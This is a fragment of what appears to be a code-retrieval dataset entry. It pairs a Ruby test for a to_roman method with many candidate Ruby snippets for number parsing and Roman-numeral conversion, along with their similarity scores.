"def is_number?(tok)\n #check number format: correct types of digits\n if tok[0] == 36 # $\n return nil if( (tok.sub(\"$\",\"\") =~ /[^A-Fa-f0-9]/) != nil)\n elsif tok[0] == 67 # C\n return nil if ( (tok.sub(\"C\",\"\") =~ /[^0-7]/) != nil)\n elsif tok[0] == 66 # B\n return nil if ( (tok.sub(\"B\",\"\") =~ /[^01]/) != nil) \n elsif tok[0] >= 48 and tok[0] <= 57\n return nil if ( (tok =~ /[^0-9]/) != nil) \n else\n #can raise exceptions here:\n return nil\n end\n \n return get_number_system(tok)\n end",
"def number\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n value = nil\n __DEC_NUMBER1__ = nil\n __HEX_NUMBER2__ = nil\n\n begin\n # at line 22:2: ( DEC_NUMBER | HEX_NUMBER )\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == DEC_NUMBER )\n alt_1 = 1\n elsif ( look_1_0 == HEX_NUMBER )\n alt_1 = 2\n else\n raise NoViableAlternative( \"\", 1, 0 )\n end\n case alt_1\n when 1\n # at line 22:4: DEC_NUMBER\n __DEC_NUMBER1__ = match( DEC_NUMBER, TOKENS_FOLLOWING_DEC_NUMBER_IN_number_180 )\n # --> action\n value = __DEC_NUMBER1__.text.to_i \n # <-- action\n\n when 2\n # at line 23:4: HEX_NUMBER\n __HEX_NUMBER2__ = match( HEX_NUMBER, TOKENS_FOLLOWING_HEX_NUMBER_IN_number_187 )\n # --> action\n value = __HEX_NUMBER2__.text[2..-1].to_i(16) \n # <-- action\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return value\n end",
"def validate_number(input)\n digits = input.gsub /[^\\d]/, ''\n digits = \"1#{digits}\" unless digits =~ /^1/\n digits = \"+#{digits}\" unless digits =~ /^\\+/\n digits = nil unless digits.length == 12\n digits\n end",
"def integer?(num)\n num.to_i.to_s == num # converts num to interger and back to string and then compares this with num.\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend",
"def integer?(num)\n num.to_i.to_s == num # converts num to interger and back to string and then compares this with num.\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend",
"def to_integer(input); end",
"def is_a_number?(word)\n Integer(word) rescue false\nend",
"def is_numeric(s)\n begin\n Integer(s)\n rescue\n puts \"please enter a number\" \n end\nend",
"def isNum(char)\n nums = \"0123456789\"\n for n in (0..nums.length - 1)\n\tif (char.to_s <=> nums[n]) == 0\n\t return true\n\tend\n end\n return false\nend",
"def is_valid? num\n num.to_i.to_s == num\nend",
"def getNum (string)\n\tif string.to_i == 0\n\t\tif string.eql?('0')\n\t\t\treturn 0\n\t\telse\n\t\t\treturn 10\n\t\tend\n\tend\n\treturn string.to_i\nend",
"def get_number_from_string(s)\n s.gsub(/[^\\d]/,\"\").to_i\nend",
"def to_number\n acc = ''\n mult = 1\n gnumber.split.each do |gdigit| # each gnumber is splitted into tokens (a single digit )\n val = @@galactic_digit[gdigit] # get the corrispondent Roman digit\n if val.nil?\n mult *= @@galactic_coin[gdigit]\n else # the digit has an equivalent roman digit\n acc << val # so it is accumulated in a string to produce a roman number\n end\n end\n mult * RomanNumber.new(acc).to_i\n end",
"def string_to_integer(string)\nend",
"def test_is_number_true\n #Arrange\n input = '2'\n #Act\n result = @roman.is_number?(input)\n #Assert\n assert_equal(true, result)\n end",
"def digit_or_word\n input = gets.strip.downcase\n input.match(/\\d+/).to_s.to_i == 0 ? input : input.to_i \n end",
"def valid_number?(num)\n\n integer?(num) || float?(num)\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend",
"def valid_number?(num)\n\n integer?(num) || float?(num)\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend",
"def number_or_string(input) #helper for pick_a_story\n new_input = input.gsub(/[^\\d]/, \"\")\n if new_input.empty?\n input\n else #return a valid number\n new_input.to_i.between?(1,146) ? new_input.to_i : 555\n end\n end",
"def convert_to_integer(string)\n unless /^-?\\d+$/ =~ string\n raise \"'#{string}' is not an integer.\" #(1)\n end\n string.to_i\nend",
"def get_number_system(tok)\n ret = String.new(tok)\n if ret[0] == 36 # $\n ret[0] = \"\"\n return ret.to_i(16)\n elsif ret[0] == 67 # C\n ret[0] = \"\"\n return ret.to_i(8)\n elsif ret[0] == 66 # B\n ret[0] = \"\"\n return ret.to_i(2)\n else\n return ret.to_i(10)\n end\n end",
"def word_to_integer word\n text = canonize(word.to_s.chomp.strip)\n\n exception = exceptions_to_i[text]\n return exception if exception\n\n power = powers_of_ten_to_i[text]\n return 10 ** power if power\n end",
"def numeric?(character)\n (character =~ /[0-9]/) == 0\n end",
"def to_num(input)\n result = 0\n #iterate on roman number hash\n MAPPING.each do |k,v|\n while input.index(k) == 0 #if \"CL\".index(\"C\") == 0\n result += v #assign value of current hash key\n input.slice!(0) #remove string \"C\" from input and so on\n end\n end\n result\n end",
"def valid_number?(num)\n num.to_i.to_s == num\nend",
"def string_to_number(string)\n string.to_f\nend",
"def roman_to_integer passcode\n\n\tdigit_vals = { 'i' => 1,\n\t\t\t\t 'v' => 5,\n\t\t\t\t 'x' => 10,\n\t\t\t\t 'l' => 50,\n\t\t\t\t 'c' => 100,\n\t\t\t\t 'd' => 500,\n\t\t\t\t 'm' => 1000}\n\n\ttotal = 0\n\tprev = 0\n\tindex = passcode.length-1\n\t\n\twhile index >=0\n\t\tc = passcode[index].downcase\n\t\tindex = index - 1\n\t\tval = digit_vals[c]\n\t\tif !val\n\t\t\tputs 'This is not a valid roman numeral!'\t\n\t\t\treturn\n\t\tend\n\n\t\tif val < prev\n\t\t\tval = val * -1\n\t\telse\n\t\t\tprev = val\n\t\tend\n\t\ttotal = total + val\n\tend\n\ttotal\n\nend",
"def test_numeric\n assert_equal(true, RpnCalc.new.numeric?('0'))\n assert_equal(true, RpnCalc.new.numeric?('0.0'))\n assert_equal(true, RpnCalc.new.numeric?('-0'))\n assert_equal(true, RpnCalc.new.numeric?('-0.0'))\n assert_equal(false, RpnCalc.new.numeric?('A'))\n assert_equal(false, RpnCalc.new.numeric?('-E'))\n assert_equal(false, RpnCalc.new.numeric?(nil))\n end",
"def num_convert\n\tputs 'give me a number(1...3000)'\n\tnum_input = gets.chomp\n\tif !num_input.empty?\n\t\tif num_input.to_i <= 0\n\t\t\tputs 'Must use positive integer' \n\t\t\treturn\n\t\telse\n\t\t\tputs roman_numeral num_input.to_i\n\t\t\tnum_convert\n\t\tend\n\tend\nend",
"def numcase_number numcase\n return 0 if numcase.nil?\n return 0 if numcase.n < 5\n return numcase.n\n end",
"def locNumToInt(str)\n\tnum = 0\n\tstr.split('').each {|c|\n\t\tnum += 2**(c.ord - 97)\n\t}\n\tnum\nend",
"def find_by_iso_numeric(num); end",
"def from_roman(roman)\n roman = roman.strip.upcase\n roman_a = roman.chars\n integer = 0\n roman_a.zip(roman_a[1..-1]).each do |ch, nch|\n if CHAR_PRECEDENCE.has_key?(ch) and CHAR_PRECEDENCE[ch].include?(nch)\n integer -= CHAR_VALUES[ch]\n else\n integer += CHAR_VALUES[ch]\n end\n end\n integer\nend",
"def check_digit(input)\n input = letter_sub(input)\n input = to_int_array(input)\n input = multiply_by_2(input)\n input = sums_units_and_tens(input)\n input = sums_all_elements(input)\n input = substracts_from_next_ten(input)\n input\n end",
"def to_i\n value = 0\n @roman.split(//).each.with_index do |char, i|\n char_val = INT_VAL[char]\n next_char = (i + 1 < @roman.length) ? @roman[i + 1] : false\n if next_char && INT_VAL[next_char] > char_val\n value -= char_val\n else\n value += char_val\n end\n end\n value\n end",
"def num_valid?\r\n number = ''\r\n # (1)need to split the number down first to handle it digit by digit\r\n # (2)because number length can change, better to reverse it and go front to back\r\n # (3)put through an each block to loop through the digits, adding with_index to help the modulo\r\n # (4)using a modulo to apply *2 if remainder is not 0 (i.e. every other number starting at position 1, using the index)\r\n # (5)building up the number string with << (could use += but no need to create a new object every time)\r\n @num.split('').reverse.each_with_index do |digit, index|\r\n number << digit if index%2 == 0\r\n number << (digit.to_i*2).to_s if index%2 != 0\r\n end\r\n\r\n # lastly have to check the result added together modulo's to zero\r\n # consulted http://blog.jayfields.com/2008/03/ruby-inject.html for inject syntax refresher\r\n # (1)need to split the number down into an array so inject() can turn them to_i and give us the sum\r\n # (2)using a modulo to ensure the final sum is a multiple of 10\r\n number.split('').inject { |r,e| r.to_i + e.to_i } % 10 == 0\r\n end",
"def row_to_num(input)\n (\"a\"..\"zz\").to_a.index(input[0])\n end",
"def test_num10\n result = numbers?(\"ryaNStantz**\")\n refute(result, \"'ryaNStantz**' should not be valid because it does not contain a number\")\n end",
"def valid_number?(input)\n input.to_i.to_s == input\nend",
"def convert_number_string_to_integer(number_string)\n Integer(number_string.gsub(\" \", \"\"))\nend",
"def str_to_num(string)\n int_list = []\n final_num = 0\n string_list = string.split(\"\")\n for char in string_list\n if 48 <= char.ord && char.ord <= 57\n int_list.push(char.ord - 48)\n else\n return false\n end\n end\n for i in 0...int_list.length\n value = int_list[-i-1]\n place = 10**i\n final_num += value*place\n end\n final_num\nend",
"def test_letter\n test_value = RPN.letter?('a')\n assert_equal(test_value,0)\n end",
"def input_to_num\n @input = @input.to_i\n end",
"def number_from_text(text)\n return nil unless starts_with_numeric_text?(text)\n text.to_i\n end",
"def verify\n\t\t@ascii_string.each do |value|\n\t\t\traise ArgumentError, \"#{value} is not an ASCII representation of number character with in the range 0-9\" unless NILTO9.key?(value) \n\t\tend\n\t\tself\n\tend",
"def default_num_value from_string, to_f = false\n if from_string == nil\n return nil\n end\n\n num = to_f ? from_string.to_f : from_string.to_i\n return num == -1? nil : num\nend",
"def default_num_value from_string, to_f = false\n if from_string == nil\n return nil\n end\n\n num = to_f ? from_string.to_f : from_string.to_i\n return num == -1? nil : num\nend",
"def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend",
"def to_int(string)\n Integer(string)\nrescue ArgumentError\n nil\nend",
"def to_numeric(roman_numeral)\n value = 0\n \n roman_numeral.each_char do |i|\n value += NUMERALS[ROMANS.index(i)].to_i\n end\n \n return value\n end",
"def is_digit(c)\n c =~ /[0-9]/\nend",
"def is_digit(c)\n c =~ /[0-9]/\nend",
"def is_digit(c)\n c =~ /[0-9]/\nend",
"def valid?(num)\n num.to_i.to_s == num\nend",
"def string_to_integer(str)\n str.to_i\nend",
"def arabic_to_eng\n\t\tvalidate_input\n\n\t\tcase @num\n\t\twhen \"NAN\"\n\t\t\tputs \"not valid, expected input: positive interger\"\n\t\t\treturn false\n\n\t\twhen 0\n\t\t\tputs \"zero\"\n\t\t\treturn \"zero\"\n\n\t\twhen 1..999\n\t\t\tconvert_smaller_than_thousand(@num)\n\n\t\telse\n\t\t\tconvert_larger_than_thousand(@num)\n\n\t\tend\n\t\tfinal_result\n\n\tend",
"def safenum?\n match?(/^[0-9][0-9]$/) && to_i.positive?\n end",
"def convert_to_integer\n @valid = false\n DIGIT_DATA.each do |integer,data|\n if string == data['string']\n @integer = integer\n @valid = true\n end\n end\n end",
"def translate_string_to_number(input)\n\n #take the input\n #break it up into individual letters\n #map the letters to a dictionary (a = 1) or\n #map the input to a placement in an array\n\nend",
"def to_number(string)\n Integer(string || '')\n rescue ArgumentError\n 0\n end",
"def test_non_alpha_numeric7\n result = non_alpha_num?(\"RYANSTANTz18**\")\n assert(result, \"'RYANSTANTz18**' should be valid because it contains a non-alpha-numeric character\")\n end",
"def attempt_key_to_int(key)\n return key if key.is_a?(Integer)\n\n key = key.to_s if key.is_a?(Symbol)\n if key.is_a?(String)\n i = key.to_i\n return i if i.to_s == key\n end\n return key if WAB::Utils.pre_24_fixnum?(key)\n nil\n end",
"def convertToNumber(modifiedInput)\n\t# Debug output\n\tif $DEBUG then STDERR.puts \"in convertToNumber() with #{modifiedInput}\" end\n\n\ttelephoneNumber = \"xxxxxxxxxx\"\n\n\tmodifiedInput.split(\"\").each_with_index do |char, index|\n\t\t$DICT.each do |expr, val|\n\t\t\tunless (expr =~ char).nil?\n\t\t\t\ttelephoneNumber[index] = val\n\t\t\tend\n\t\tend\n\tend\n\n\treturn finishNumber(telephoneNumber)\nend",
"def valid_number?(number_string)\n number_string.to_i.to_s == number_string\n end",
"def string_to_integer(str)\n return str.to_i\nend",
"def target_to_int(alphabet, target)\n target.split(//).map { |ch| \n v = alphabet.index(ch)\n if (v == nil)\n puts \"Password character '#{ch}' is not part of alphabet\"\n exit -1\n end\n v\n }\nend",
"def integer?(char)\n if char.to_i.to_s == char\n return true\n else\n return false\n end\nend",
"def number_from_name(name)\r\n return nil unless name\r\n match = name.scan(/^(\\d+)/).first\r\n match ? match.first.to_i : nil\r\n end",
"def roman_to_integer str\r\n result = 0\r\n idx = 0\r\n\r\n # thousands\r\n while true\r\n if str[idx, 1].downcase != 'm'\r\n break\r\n end\r\n result += 1000\r\n idx += 1 \r\n end\r\n\r\n # 900 or 400 or 500\r\n if str[idx, 2].downcase == 'cm'\r\n result += 900\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'cd'\r\n result += 400\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'd'\r\n result += 500\r\n idx += 1\r\n end\r\n\r\n # hundreds\r\n while true\r\n if str[idx, 1].downcase != 'c'\r\n break\r\n end\r\n result += 100\r\n idx += 1\r\n end\r\n\r\n # 90 or 50 or 40\r\n if str[idx, 2].downcase == 'xc'\r\n result += 90\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'xl'\r\n result += 40\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'l'\r\n result += 50\r\n idx += 1\r\n end\r\n\r\n # tens\r\n while true\r\n if str[idx, 1].downcase != 'x'\r\n break\r\n end\r\n result += 10\r\n idx += 1 \r\n end\r\n\r\n # 9 or 4 or 5\r\n if str[idx, 2].downcase == 'ix'\r\n result += 9\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'iv'\r\n result += 4\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'v'\r\n result += 5\r\n idx += 1\r\n end\r\n\r\n # ones\r\n while true\r\n if str[idx, 1].downcase != 'i'\r\n break\r\n end\r\n result += 1\r\n idx += 1\r\n end\r\n\r\n if idx == str.length\r\n return result\r\n else\r\n puts \"#{str} is not a valid roman number\"\r\n end\r\nend"
] | [
"0.74896544",
"0.69001174",
"0.6779687",
"0.671706",
"0.6653384",
"0.6637102",
"0.65878934",
"0.6573144",
"0.65723646",
"0.65689117",
"0.6531435",
"0.6531435",
"0.65034765",
"0.6486525",
"0.64733154",
"0.64577645",
"0.64381504",
"0.64299333",
"0.64275366",
"0.6401048",
"0.64001036",
"0.63730276",
"0.63720053",
"0.63679695",
"0.6357881",
"0.63511634",
"0.63449115",
"0.6319767",
"0.63090265",
"0.63007474",
"0.62899226",
"0.62578917",
"0.62575823",
"0.6255044",
"0.6251976",
"0.6251976",
"0.6250382",
"0.62151057",
"0.61981887",
"0.6176311",
"0.6168628",
"0.6160773",
"0.6155641",
"0.6136236",
"0.61273676",
"0.612025",
"0.61042994",
"0.60963887",
"0.60963887",
"0.60868305",
"0.6082615",
"0.6077555",
"0.60752666",
"0.6068816",
"0.60586905",
"0.6057101",
"0.60521764",
"0.604882",
"0.6047529",
"0.6028548",
"0.60263133",
"0.6024203",
"0.60139",
"0.6005925",
"0.5996773",
"0.5993461",
"0.5992383",
"0.59916294",
"0.5984403",
"0.59814495",
"0.59761137",
"0.59737414",
"0.5973593",
"0.5971159",
"0.5968918",
"0.5967765",
"0.59635717",
"0.59635717",
"0.5958849",
"0.59567106",
"0.5949556",
"0.59425706",
"0.59425706",
"0.59425706",
"0.5937432",
"0.59361005",
"0.5931538",
"0.5930286",
"0.5928463",
"0.5927137",
"0.5921113",
"0.59181094",
"0.59162796",
"0.5915721",
"0.5903738",
"0.59028137",
"0.589997",
"0.5889704",
"0.5886603",
"0.5885035"
] | 0.7098444 | 1 |
TEST CASE: to_roman METHOD. IT SHOULD RETURN OUTPUT(ROMAN LETTERS) IF INPUT(INTEGER) PASSED ELSE RETURN BLANK STRING | def test_to_roman
assert_equal("X", RomanMathmaticalOperation.new.send(:to_roman,10))
assert_not_equal("X", RomanMathmaticalOperation.new.send(:to_roman,11))
assert_equal("", RomanMathmaticalOperation.new.send(:to_roman,0))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_roman\n result = \"\"\n num_str = self.to_s\n str_a = num_str.split(//) # [\"1\", \"9\", \"9\", \"0\"]\n \n # case on number digits of the string array\n case str_a.size\n when 4\n result << do_digit(str_a[0], 1000)\n result << do_digit(str_a[1], 100)\n result << do_digit(str_a[2], 10 )\n result << do_digit(str_a[3], 1)\n when 3\n result << do_digit(str_a[0], 100)\n result << do_digit(str_a[1], 10)\n result << do_digit(str_a[2], 1) \n when 2\n result << do_digit(str_a[0], 10)\n result << do_digit(str_a[1], 1)\n when 1\n result << do_digit(str_a[0], 1) \n end\n result\n end",
"def to_roman\n result = \"\"\n num_str = self.to_s\n str_a = num_str.split(//) # [\"1\", \"9\", \"9\", \"0\"]\n \n # case on number digits of the string array\n case str_a.size\n when 4\n result << do_digit(str_a[0], 1000)\n result << do_digit(str_a[1], 100)\n result << do_digit(str_a[2], 10 )\n result << do_digit(str_a[3], 1)\n when 3\n result << do_digit(str_a[0], 100)\n result << do_digit(str_a[1], 10)\n result << do_digit(str_a[2], 1) \n when 2\n result << do_digit(str_a[0], 10)\n result << do_digit(str_a[1], 1)\n when 1\n result << do_digit(str_a[0], 1) \n end\n result \n end",
"def to_roman(num)\nend",
"def to_roman(num)\nend",
"def to_roman(num)\n \n output = ''\n\n if num\n how_many_thousand = (num - num % 1000) / 1000\n num = num - (num - num % 1000)\n\n how_many_hundred = (num - num % 100) / 100\n num = num - (num - num % 100)\n\n how_many_tens = (num - num % 10) / 10\n num = num - (num - num % 10)\n\n how_many_ones = num - (num - num % 10)\n else\n \treturn nil\n end\n\n #adding thousands\n output << 'M' * how_many_thousand\n #adding hundreds\n if how_many_hundred == 9\n \t output << 'CM'\n \telsif how_many_hundred >= 5\n \t output << 'D' + 'C' * (how_many_hundred - 5)\n elsif how_many_hundred == 4\n output << 'CD'\n else\n output << \"C\" * how_many_hundred\n end\n #adding tens\n if how_many_tens == 9\n \t output << 'XC'\n \telsif how_many_tens >= 5 \n \t output << 'L' + 'X' * (how_many_tens - 5)\n elsif how_many_tens == 4\n output << 'XL'\n else\n output << \"X\" * how_many_tens\n end\n #adding ones\n if how_many_ones == 9\n \t output << 'IX'\n \telsif how_many_ones >= 5 \n \t output << 'V' + 'I' * (how_many_ones - 5)\n elsif how_many_ones == 4\n output << 'IV'\n else\n output << \"I\" * how_many_ones\n end\n\n output\n\nend",
"def test_covert_one_to_roman\n generic_fn_roman_numerals( '1', 'I' )\n end",
"def to_roman(num)\n place_value_digits = num.to_s.split('').map { |digit| digit.to_i}\n\n if place_value_digits.length == 0 \n return \"\"\n end \n\n if place_value_digits[0] == 0 \n place_value_digits.shift \n return \"\" + to_roman(place_value_digits) if place_value_digits.empty? == false\n return \"\"\n end \n\n if place_value_digits.length == 1 \n digit = place_value_digits.shift\n if digit <= 3\n return \"I\" * digit\n elsif digit == 4\n return \"IV\" \n elsif digit == 5 \n return \"V\" \n elsif digit > 5 && digit < 9\n return \"V\" + (\"I\" * (digit - 5))\n else \n return \"IX\"\n end \n\n elsif place_value_digits.length == 2 \n digit = place_value_digits.shift\n if digit <= 3\n return \"X\" * digit + to_roman(place_value_digits.join.to_i)\n elsif digit == 4\n return \"XL\" + to_roman(place_value_digits.join.to_i)\n elsif digit == 5 \n return \"L\" + to_roman(place_value_digits.join.to_i)\n elsif digit > 5 && digit < 9\n return \"L\" + (\"X\" * (digit - 5)) + to_roman(place_value_digits.join.to_i)\n else \n return \"XC\" + to_roman(place_value_digits.join.to_i)\n end \n\n elsif place_value_digits.length == 3\n digit = place_value_digits.shift\n if digit <= 3\n return \"C\" * digit + to_roman(place_value_digits.join.to_i)\n elsif digit == 4\n return \"CD\" + to_roman(place_value_digits.join.to_i)\n elsif digit == 5 \n return \"D\" + to_roman(place_value_digits.join.to_i)\n elsif digit > 5 && digit < 9\n return \"D\" + (\"C\" * (digit - 5)) + to_roman(place_value_digits.join.to_i)\n else \n return \"CM\" + to_roman(place_value_digits.join.to_i)\n end \n\n elsif place_value_digits.length == 4 \n digit = place_value_digits.shift\n return \"M\" * digit + to_roman(place_value_digits.join.to_i)\n end \n end",
"def roman_convert(input)\n numerals_string = []\n input_array = input.split('')\n\n until input_array.empty?\n case input_array.length\n when 4\n puts \"#{input_array.first}000 = #{@thousands[input_array.first.to_i]}\"\n numerals_string.push(@thousands[input_array.shift.to_i])\n when 3\n puts \" #{input_array.first}00 = #{@hundreds[input_array.first.to_i]}\"\n numerals_string.push(@hundreds[input_array.shift.to_i])\n when 2\n puts \" #{input_array.first}0 = #{@tens[input_array.first.to_i]}\"\n numerals_string.push(@tens[input_array.shift.to_i])\n when 1\n puts \" #{input_array.first} = #{@units[input_array.first.to_i]}\"\n numerals_string.push(@units[input_array.shift.to_i])\n else\n break\n end\n end\n\n puts ''\n puts 'Your number converted to Roman Numerals is: '\n puts \"#{numerals_string.join}\"\n puts ''\n end",
"def get_roman()\n num = @number\n answer = \"\"\n# you can also use: If num >= 10 \n\n while num >= 10\n answer += \"X\"\n num -= 10\n end\n if num == 9\n answer += \"IX\"\n num -= 9\n end\n if num >= 5\n answer += \"V\"\n num -= 5\n end\n if num == 4\n answer += \"IV\"\n num -= 4\n end\n answer += \"I\" * num # * @number\n return answer\n end",
"def to_roman\n\n roman = ''\n\n roman = roman + 'M' * (self / 1000)\n roman = roman + 'D' * (self % 1000 / 500)\n roman = roman + 'C' * (self % 500 / 100)\n roman = roman + 'L' * (self % 100 / 50)\n roman = roman + 'X' * (self % 50 / 10)\n roman = roman + 'V' * (self % 10 / 5)\n roman = roman + 'I' * (self % 5 / 1)\n\n roman\n end",
"def test_convert_roman_one_to_arabic_one\n generic_fn_roman_numerals( 'I', '1' )\n end",
"def to_roman(integer)\n integer = integer.to_i\n if integer < 1 or integer > 3999\n raise RangeError, \"Integer must be between 1 and 3999\"\n end\n\n roman = \"\"\n integer, roman = prepare_group(integer, roman, 1000, \"M\", 900, \"CM\")\n integer, roman = prepare_group(integer, roman, 500, \"D\", 400, \"CD\")\n integer, roman = prepare_group(integer, roman, 100, \"C\", 90, \"XC\")\n integer, roman = prepare_group(integer, roman, 50, \"L\", 40, \"XL\")\n integer, roman = prepare_group(integer, roman, 10, \"X\", 9, \"IX\")\n integer, roman = prepare_group(integer, roman, 5, \"V\", 4, \"IV\")\n integer, roman = prepare_group(integer, roman, 1, \"I\", nil, nil)\n\n roman\nend",
"def to_roman\n roman = ''\n\n roman = roman + 'M' * (self / 1000)\n roman = roman + 'D' * (self % 1000 / 500)\n roman = roman + 'C' * (self % 500 / 100)\n roman = roman + 'L' * (self % 100 / 50)\n roman = roman + 'X' * (self % 50 / 10)\n roman = roman + 'V' * (self % 10 / 5)\n roman = roman + 'I' * (self % 5 / 1)\n\n roman\n\n end",
"def to_roman1(num)\n # Your code here\n ans = \"\"\n\n while (num / 1000 > 0)\n ans << 'M'\n num -= 1000\n end\n\n while (num / 500 > 0)\n ans << 'D'\n num -= 500\n end\n\n while (num / 100 > 0)\n ans << 'C'\n num -= 100\n end\n\n while (num / 50 > 0)\n ans << 'L'\n num -= 50\n end\n\n while (num / 10 > 0)\n ans << 'X'\n num -= 10\n end\n\n while (num / 5 > 0)\n ans << 'V'\n num -= 5\n end\n\n while (num > 0)\n ans << 'I'\n num -= 1\n end\n\n ans.gsub!(/DCCCC/, 'CM')\n ans.gsub!(/CCCC/, 'CD')\n ans.gsub!(/LXXXX/, 'XC')\n ans.gsub!(/XXXX/, 'XL')\n ans.gsub!(/VIIII/, 'IX')\n ans.gsub!(/IIII/, 'IV')\n\n ans\nend",
"def int_to_roman_2(num)\n result = \"\"\n while num > 0\n if num >= 1000\n num -= 1000\n result += \"M\"\n elsif num >= 900\n num -= 900\n result += \"CM\"\n elsif num >= 500\n num -= 500\n result += \"D\"\n elsif num >= 400\n num -= 400\n result += \"CD\"\n elsif num >= 100\n num -= 100\n result += \"C\"\n elsif num >= 90\n num -= 90\n result += \"XC\"\n elsif num >= 50\n num -= 50\n result += \"L\"\n elsif num >= 40\n num -= 40\n result += \"XL\"\n elsif num >= 10\n num -= 10\n result += \"X\"\n elsif num >= 9\n num -= 9\n result += \"IX\"\n elsif num >= 5\n num -= 5\n result += \"V\"\n elsif num >= 4\n num -= 4\n result += \"IV\"\n else\n num -= 1\n result += \"I\"\n end\n end\n\n return result\nend",
"def to_roman\n n = self\n roman = ''\n ROMAN_NUMBERS.each do |value, letter|\n roman << letter * (n / value)\n n = n % value\n end\n roman\n end",
"def romanize(input)\n\n raise ArgumentError, 'can not encode negative number' if input < 0\n raise ArgumentError, 'can not encode zero' if input == 0\n\n #Creating a Hash that pointing different numbers to different characters.\n romkeys = {1000 => 'M', 900 => 'CM', 500 => 'D', 400 => 'CD', 100 => 'C', 90 => 'XC', 50 => 'L', 40 => 'XL', 10 => 'X', 9 => 'IX', 5 => 'V', 4 => 'IV' ,1 => 'I'}\n\n #Creating a variable that have the format string, for storing the different characters.\n output = ' '\n\n #Looping until the input is zero.\n until input == 0\n\n #Looping thro the different keys and values of the hash.\n romkeys.each do |key, value|\n if input >= key\n\n #If the input was 5 this will result as 'V' after that the output will save the V and loop thro until it's nothing left.\n output += value\n\n #This subtract the key value to make the loop end.\n input -= key\n\n #This just ending the loop.\n break\n end\n end\n end\n\n #Returning the output string.\n return output\nend",
"def num_to_roman_numeral num\n \n orig_num = num\n \n # Clear values for all characters before starting\n m = ''\n d = ''\n c = ''\n l = ''\n x = ''\n v = ''\n i = ''\n \n # Get 1000s\n if num/1000 >= 1\n m = 'M'*(num/1000)\n num = num%1000\n end\n \n # Get 500s\n if num/500 >= 1\n if num/100 == 9\n d = ''\n c = 'CM'\n num = num%100\n else\n d = 'D'*(num/500)\n num = num%500\n end\n end\n \n # Get 100s\n if num/100 >= 1\n c = 'C'*(num/100)\n num = num%100\n end\n \n # Get 50s\n if num/50 >= 1\n if num/10 == 9\n l = ''\n x = 'XC'\n num = num%10\n else\n l = 'L'*(num/50)\n num = num%50\n end\n end\n \n # Get 10s\n if num/10 >= 1\n if num/10 == 4\n x = 'XL'\n else\n x = 'X'*(num/10)\n end\n num = num%10\n end\n \n # Get 5s\n if num/5 >= 1\n if num == 9\n v = ''\n i = 'IX'\n num = 0\n else\n v = 'V'*(num/5)\n num = num%5\n end\n end\n \n # Get 1s\n if num >= 1\n if num == 4\n i = 'IV'\n num = 0\n else\n i = 'I'*num\n end\n end\n \n roman_numeral = m + d + c + l + x + v + i\n \n puts orig_num.to_s + ' in old roman numerals is ' + roman_numeral\nend",
"def roman_numeral num\n\tif num > 999999\n\t\treturn \"number too big for roman numerals\"\n\tend\n\n\trom_digits = ['I','V','X','L','C','D','M','P','Q','R','S','T','A','B','E','F']\n\tnum_of_digits = (num).to_s.length\n\troman_num = ''\n\n\tfor i in 0...num_of_digits\n\t\troman_num = romnum_1_to_9(num,rom_digits[i*2],rom_digits[i*2+1],rom_digits[i*2+2],10**i) + roman_num\n\tend\n\t\n\treturn roman_num.downcase\n\nend",
"def to_roman\n result = ''\n number = self\n ROMAN_NUMERALS.each do |key, value|\n numeral, remainder = number.divmod(value)\n if numeral > 0 \n result += (key * numeral)\n end\n number = remainder\n end\n result\n end",
"def new_roman_numeral(number)\n \n roman = \"\"\n\n thousands_place = number/1000\n hundreds_place = (number%1000)/100\n tens_place = (number%100)/10\n ones_place = (number%10)\n\n roman << \"M\"*thousands_place\n\n if hundreds_place == 9\n roman << \"CM\"\n elsif hundreds_place == 4\n roman << \"CD\"\n else\n roman = roman << 'D' * (number%1000 /500)\n roman = roman << 'C' * (number%500 /100)\n end\n\n if tens_place == 9\n roman << \"XC\"\n elsif tens_place == 4\n roman << \"XL\"\n else\n roman = roman << 'L' * (number%100 /50)\n roman = roman << 'X' * (number%50 /10)\n end\n\n\n if ones_place == 9\n roman << \"IX\"\n elsif ones_place == 4\n roman << \"IV\"\n else\n roman = roman << 'V' * (number%10 /5)\n roman = roman << 'I' * (number%5)\n end\n \n\n\nend",
"def old_roman_numeral(num)\n return \"Please use a positive integer.\" if num <= 0\n \n roman = \"\"\n \n roman << \"M\" * (num / 1000)\n roman << \"D\" * (num % 1000 / 500)\n roman << \"C\" * (num % 500 / 100)\n roman << \"L\" * (num % 100 / 50)\n roman << \"X\" * (num % 50 / 10)\n roman << \"V\" * (num % 10 / 5)\n roman << \"I\" * (num % 5 / 1)\n \n roman\nend",
"def new_roman_numeral num\n roman = ''\n\n roman << 'M' * (num / 1000)\n\n digit_hundred = num % 1000 / 100\n if digit_hundred >= 5\n if digit_hundred == 9\n roman << 'CM'\n else\n roman << 'D'\n roman << 'C' * (digit_hundred % 5)\n end\n else\n if digit_hundred == 4\n roman << 'CD'\n else\n roman << 'C' * digit_hundred\n end\n end\n\n digit_ten = num % 100 / 10\n if digit_ten >= 5\n if digit_ten == 9\n roman << 'XC'\n else\n roman << 'L'\n roman << 'X' * (digit_ten % 5)\n end\n else\n if digit_ten == 4\n roman << 'XL'\n else\n roman << 'X' * digit_ten\n end\n end\n\n digit_one = num % 10\n if digit_one >= 5\n if digit_one == 9\n roman << 'IX'\n else\n roman << 'V'\n roman << 'I' * (digit_one % 5)\n end\n else\n if digit_one == 4\n roman << 'IV'\n else\n roman << 'I' * digit_one\n end\n end\n\n roman\nend",
